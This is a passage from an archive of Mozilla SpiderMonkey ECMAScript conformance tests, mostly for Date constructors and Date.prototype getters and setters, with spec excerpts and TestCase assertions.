DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.29-1.js0000664000175000017500000001420112106270663020412 0ustar sstanglsstangl// |reftest| fails-if(Android) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.29-1.js ECMA Section: 15.9.5.29 Date.prototype.setUTCMinutes(min [, sec [, ms ]] ) Description: If sec is not specified, this behaves as if sec were specified with the value getUTCSeconds ( ). If ms is not specified, this behaves as if ms were specified with the value getUTCMilliseconds( ). 1. Let t be this time value. 2. Call ToNumber(min). 3. If sec is not specified, compute SecFromTime(t); otherwise, call ToNumber(sec). 4. If ms is not specified, compute msFromTime(t); otherwise, call ToNumber(ms). 5. Compute MakeTime(HourFromTime(t), Result(2), Result(3), Result(4)). 6. Compute MakeDate(Day(t), Result(5)). 7. Set the [[Value]] property of the this value to TimeClip(Result(6)). 8. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.29-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setUTCMinutes( min [, sec, ms] )"); addNewTestCase( 0, 0, void 0, void 0, "TDATE = new Date(0);(TDATE).setUTCMinutes(0);TDATE", UTCDateFromTime(SetUTCMinutes(0,0,0,0)), LocalDateFromTime(SetUTCMinutes(0,0,0,0)) ); addNewTestCase( 28800000, 59, 59, void 0, "TDATE = new Date(28800000);(TDATE).setUTCMinutes(59,59);TDATE", UTCDateFromTime(SetUTCMinutes(28800000,59,59)), LocalDateFromTime(SetUTCMinutes(28800000,59,59)) ); addNewTestCase( 28800000, 59, 59, 999, "TDATE = new Date(28800000);(TDATE).setUTCMinutes(59,59,999);TDATE", UTCDateFromTime(SetUTCMinutes(28800000,59,59,999)), LocalDateFromTime(SetUTCMinutes(28800000,59,59,999)) ); addNewTestCase( 28800000, 59, void 0, void 0, "TDATE = new Date(28800000);(TDATE).setUTCMinutes(59);TDATE", UTCDateFromTime(SetUTCMinutes(28800000,59)), LocalDateFromTime(SetUTCMinutes(28800000,59)) ); addNewTestCase( 28800000, -480, 0, 0, "TDATE = new Date(28800000);(TDATE).setUTCMinutes(-480);TDATE", UTCDateFromTime(SetUTCMinutes(28800000,-480)), LocalDateFromTime(SetUTCMinutes(28800000,-480)) ); addNewTestCase( 946684800000, 1234567, void 0, void 0, "TDATE = new Date(946684800000);(TDATE).setUTCMinutes(1234567);TDATE", UTCDateFromTime(SetUTCMinutes(946684800000,1234567)), LocalDateFromTime(SetUTCMinutes(946684800000,1234567)) ); addNewTestCase( -2208988800000, 59, 999, void 0, "TDATE = new Date(-2208988800000);(TDATE).setUTCMinutes(59,999);TDATE", UTCDateFromTime(SetUTCMinutes(-2208988800000,59,999)), LocalDateFromTime(SetUTCMinutes(-2208988800000,59,999)) ); test(); function addNewTestCase( time, min, sec, ms, DateString, UTCDate, LocalDate) { var DateCase = new Date( time ); if ( sec == void 0 ) { DateCase.setUTCMinutes( min ); } else { if ( ms == void 0 ) { DateCase.setUTCMinutes( min, sec ); } else { DateCase.setUTCMinutes( min, sec, ms ); } } new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetUTCMinutes( t, min, sec, ms ) { var TIME = t; var MIN = Number(min); var SEC = ( sec == void 0) ? SecFromTime(TIME) : Number(sec); var MS = ( ms == void 0 ) ? msFromTime(TIME) : Number(ms); var RESULT5 = MakeTime( HourFromTime( TIME ), MIN, SEC, MS ); return ( TimeClip(MakeDate(Day(TIME),RESULT5)) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.3-2.js0000664000175000017500000000343112106270663020326 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.3-2.js ECMA Section: 15.9.5.3-2 Date.prototype.valueOf Description: The valueOf function returns a number, which is this time value. The valueOf function is not generic; it generates a runtime error if its this value is not a Date object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.3-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.valueOf"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_NOW ); addTestCase( TIME_1970 ); addTestCase( TIME_1900 ); addTestCase( TIME_2000 ); addTestCase( UTC_FEB_29_2000 ); addTestCase( UTC_JAN_1_2005 ); test(); function addTestCase( t ) { new TestCase( SECTION, "(new Date("+t+").valueOf()", t, (new Date(t)).valueOf() ); new TestCase( SECTION, "(new Date("+(t+1)+").valueOf()", t+1, (new Date(t+1)).valueOf() ); new TestCase( SECTION, "(new Date("+(t-1)+").valueOf()", t-1, (new Date(t-1)).valueOf() ); new TestCase( SECTION, "(new Date("+(t-TZ_ADJUST)+").valueOf()", t-TZ_ADJUST, (new Date(t-TZ_ADJUST)).valueOf() ); new TestCase( SECTION, "(new Date("+(t+TZ_ADJUST)+").valueOf()", t+TZ_ADJUST, (new Date(t+TZ_ADJUST)).valueOf() ); } function MyObject( value ) { this.value = value; this.valueOf = Date.prototype.valueOf; this.toString = new Function( "return this+\"\";"); return this; } mozjs17.0.0/js/src/tests/ecma/Date/15.9.2.2-5.js0000664000175000017500000000311512106270663020324 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.2.2.js ECMA Section: 15.9.2.2 Date constructor used as a function Date( year, month, date, hours, minutes, seconds ) Description: The arguments are accepted, but are completely ignored. A string is created and returned as if by the expression (new Date()).toString(). Author: christine@netscape.com Date: 28 october 1997 Version: 9706 */ var VERSION = 9706; startTest(); var SECTION = "15.9.2.2"; var TOLERANCE = 100; var TITLE = "The Date Constructor Called as a Function"; writeHeaderToLog(SECTION+" "+TITLE ); // allow up to 1 second difference due to possibility // the date may change by 1 second in between calls to Date var d1; var d2; // Dates around jan 1, 2005 d1 = new Date(); d2 = Date.parse(Date(2004,11,31,23,59,59)); new TestCase( SECTION, "Date(2004,11,31,23,59,59)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2005,0,1,0,0,0) ); new TestCase( SECTION, "Date(2005,0,1,0,0,0)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2005,0,1,0,0,1) ); new TestCase( SECTION, "Date(2005,0,1,0,0,1)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2004,11,31,16,0,0,0)); new TestCase( SECTION, "Date(2004,11,31,16,0,0,0)", true, d2 - d1 <= 1000); test(); mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.24-2.js0000664000175000017500000000761312106270663020417 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.24-1.js ECMA Section: 15.9.5.24 Date.prototype.setTime(time) Description: 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var TITLE = "Date.prototype.setTime" var SECTION = "15.9.5.24-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setMilliseconds(ms)"); addTestCase( 0, -86400000 ); test(); function addTestCase( startms, newms ) { var DateCase = new Date( startms ); DateCase.setMilliseconds( newms ); var DateString = "var date = new Date("+ startms +"); date.setMilliseconds("+ newms +"); date"; var UTCDate = UTCDateFromTime( Number(newms) ); var LocalDate = LocalDateFromTime( Number(newms) ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.10-2.js0000664000175000017500000000256212106270663020410 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.10.js ECMA Section: 15.9.5.10 Description: Date.prototype.getDate 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return DateFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.10"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDate()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_0000 ); new TestCase( SECTION, "(new Date(NaN)).getDate()", NaN, (new Date(NaN)).getDate() ); new TestCase( SECTION, "Date.prototype.getDate.length", 0, Date.prototype.getDate.length ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDate()", DateFromTime(LocalTime(d)), (new Date(d)).getDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.23-2.js0000664000175000017500000000361412106270663020413 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.23-2.js ECMA Section: 15.9.5.23 Description: Date.prototype.setTime 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.23-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.setTime()"; writeHeaderToLog( SECTION + " "+ TITLE); test_times = new Array( TIME_NOW, TIME_1970, TIME_1900, TIME_2000 ); for ( var j = 0; j < test_times.length; j++ ) { addTestCase( new Date(TIME_NOW), test_times[j] ); } new TestCase( SECTION, "(new Date(NaN)).setTime()", NaN, (new Date(NaN)).setTime() ); new TestCase( SECTION, "Date.prototype.setTime.length", 1, Date.prototype.setTime.length ); test(); function addTestCase( d, t ) { new TestCase( SECTION, "( "+d+" ).setTime("+t+")", t, d.setTime(t) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+1.1)+")", TimeClip(t+1.1), d.setTime(t+1.1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+1)+")", t+1, d.setTime(t+1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t-1)+")", t-1, d.setTime(t-1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t-TZ_ADJUST)+")", t-TZ_ADJUST, d.setTime(t-TZ_ADJUST) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+TZ_ADJUST)+")", t+TZ_ADJUST, d.setTime(t+TZ_ADJUST) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.13-4.js0000664000175000017500000000212612106270663020411 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.13.js ECMA Section: 15.9.5.13 Description: Date.prototype.getUTCDay 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return WeekDay(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.13"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCDay()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_1900 ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getUTCDay()", WeekDay((d)), (new Date(d)).getUTCDay() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.2.2-6.js0000664000175000017500000000310612106270663020325 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.2.2.js ECMA Section: 15.9.2.2 Date constructor used as a function Date( year, month, date, hours, minutes, seconds ) Description: The arguments are accepted, but are completely ignored. A string is created and returned as if by the expression (new Date()).toString(). Author: christine@netscape.com Date: 28 october 1997 Version: 9706 */ var VERSION = 9706; startTest(); var SECTION = "15.9.2.2"; var TOLERANCE = 100; var TITLE = "The Date Constructor Called as a Function"; writeHeaderToLog(SECTION+" "+TITLE ); // allow up to 1 second difference due to possibility // the date may change by 1 second in between calls to Date var d1; var d2; // Dates around jan 1, 2032 d1 = new Date(); d2 = Date.parse(Date(2031,11,31,23,59,59)); new TestCase(SECTION, "Date(2031,11,31,23,59,59)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2032,0,1,0,0,0)); new TestCase(SECTION, "Date(2032,0,1,0,0,0)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2032,0,1,0,0,1)); new TestCase(SECTION, "Date(2032,0,1,0,0,1)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2031,11,31,16,0,0,0)); new TestCase(SECTION, "Date(2031,11,31,16,0,0,0)", true, d2 - d1 <= 1000); test(); mozjs17.0.0/js/src/tests/ecma/Date/15.9.3.8-5.js0000664000175000017500000001220112106270663020327 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.3.8.js ECMA Section: 15.9.3.8 The Date Constructor new Date( value ) Description: The [[Prototype]] property of the newly constructed object is set to the original Date prototype object, the one that is the initial valiue of Date.prototype. The [[Class]] property of the newly constructed object is set to "Date". The [[Value]] property of the newly constructed object is set as follows: 1. Call ToPrimitive(value) 2. If Type( Result(1) ) is String, then go to step 5. 3. Let V be ToNumber( Result(1) ). 4. Set the [[Value]] property of the newly constructed object to TimeClip(V) and return. 5. Parse Result(1) as a date, in exactly the same manner as for the parse method. Let V be the time value for this date. 6. Go to step 4. Author: christine@netscape.com Date: 28 october 1997 Version: 9706 */ var VERSION = "ECMA_1"; startTest(); var SECTION = "15.9.3.8"; var TYPEOF = "object"; var TIME = 0; var UTC_YEAR = 1; var UTC_MONTH = 2; var UTC_DATE = 3; var UTC_DAY = 4; var UTC_HOURS = 5; var UTC_MINUTES = 6; var UTC_SECONDS = 7; var UTC_MS = 8; var YEAR = 9; var MONTH = 10; var DATE = 11; var DAY = 12; var HOURS = 13; var MINUTES = 14; var SECONDS = 15; var MS = 16; // for TCMS, the gTestcases array must be global. var gTc= 0; var TITLE = "Date constructor: new Date( value )"; var SECTION = "15.9.3.8"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION +" " + TITLE ); // all the "ResultArrays" below are hard-coded to Pacific Standard Time values - var TZ_ADJUST = -TZ_PST * msPerHour; // Dates around 1900 var PST_1900 = TIME_1900 + 8*msPerHour; addNewTestCase( new Date( TIME_1900 ), "new Date("+TIME_1900+")", [TIME_1900,1900,0,1,1,0,0,0,0,1899,11,31,0,16,0,0,0] ); addNewTestCase( new Date(PST_1900), "new Date("+PST_1900+")", [ PST_1900,1900,0,1,1,8,0,0,0,1900,0,1,1,0,0,0,0] ); addNewTestCase( new Date( (new Date(TIME_1900)).toString() ), "new Date(\""+(new Date(TIME_1900)).toString()+"\")", [TIME_1900,1900,0,1,1,0,0,0,0,1899,11,31,0,16,0,0,0] ); addNewTestCase( new Date( (new Date(PST_1900)).toString() ), "new Date(\""+(new Date(PST_1900 )).toString()+"\")", [ PST_1900,1900,0,1,1,8,0,0,0,1900,0,1,1,0,0,0,0] ); addNewTestCase( new Date( (new Date(TIME_1900)).toUTCString() ), "new Date(\""+(new Date(TIME_1900)).toUTCString()+"\")", [TIME_1900,1900,0,1,1,0,0,0,0,1899,11,31,0,16,0,0,0] ); addNewTestCase( new Date( (new Date(PST_1900)).toUTCString() ), "new Date(\""+(new Date(PST_1900 )).toUTCString()+"\")", [ PST_1900,1900,0,1,1,8,0,0,0,1900,0,1,1,0,0,0,0] ); test(); function addNewTestCase( DateCase, DateString, ResultArray ) { //adjust hard-coded ResultArray for tester's timezone instead of PST adjustResultArray(ResultArray, 'msMode'); new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.11-3.js0000664000175000017500000000214112106270663020403 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.11.js ECMA Section: 15.9.5.11 Description: Date.prototype.getUTCDate 1.Let t be this time value. 2.If t is NaN, return NaN. 1.Return DateFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.11"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCDate()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_1970 ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getUTCDate()", DateFromTime(d), (new Date(d)).getUTCDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.3.2-2.js0000664000175000017500000001103112106270663020316 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.3.1.js ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms) Description: The [[Prototype]] property of the newly constructed object is set to the original Date prototype object, the one that is the initial value of Date.prototype. The [[Class]] property of the newly constructed object is set as follows: 1. Call ToNumber(year) 2. Call ToNumber(month) 3. Call ToNumber(date) 4. Call ToNumber(hours) 5. Call ToNumber(minutes) 6. Call ToNumber(seconds) 7. Call ToNumber(ms) 8. If Result(1)is NaN and 0 <= ToInteger(Result(1)) <= 99, Result(8) is 1900+ToInteger(Result(1)); otherwise, Result(8) is Result(1) 9. Compute MakeDay(Result(8), Result(2), Result(3) 10. Compute MakeTime(Result(4), Result(5), Result(6), Result(7) 11. Compute MakeDate(Result(9), Result(10)) 12. Set the [[Value]] property of the newly constructed object to TimeClip(UTC(Result(11))). This tests the returned value of a newly constructed Date object. Author: christine@netscape.com Date: 7 july 1997 */ var TIME = 0; var UTC_YEAR = 1; var UTC_MONTH = 2; var UTC_DATE = 3; var UTC_DAY = 4; var UTC_HOURS = 5; var UTC_MINUTES = 6; var UTC_SECONDS = 7; var UTC_MS = 8; var YEAR = 9; var MONTH = 10; var DATE = 11; var DAY = 12; var HOURS = 13; var MINUTES = 14; var SECONDS = 15; var MS = 16; // for TCMS, the gTestcases array must be global. var SECTION = "15.9.3.1"; var TITLE = "Date( year, month, date, hours, minutes, seconds )"; writeHeaderToLog( SECTION+" " +TITLE ); // Dates around 2000 addNewTestCase( new Date( 1999,11,31,15,59,59), "new Date( 1999,11,31,15,59,59)", [946684799000,1999,11,31,5,23,59,59,0,1999,11,31,5,15,59,59,0] ); addNewTestCase( new Date( 1999,11,31,16,0,0), "new Date( 1999,11,31,16,0,0)", [946684800000,2000,0,1,6,0,0,0,0,1999,11,31,5, 16,0,0,0] ); addNewTestCase( new Date( 2000,0,1,0,0,0), "new Date( 2000,0,1,0,0,0)", [946713600000,2000,0,1,6,8,0,0,0,2000,0,1,6,0,0,0,0] ); test(); function addNewTestCase( DateCase, DateString, ResultArray ) { //adjust hard-coded ResultArray for tester's timezone instead of PST adjustResultArray(ResultArray); new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", 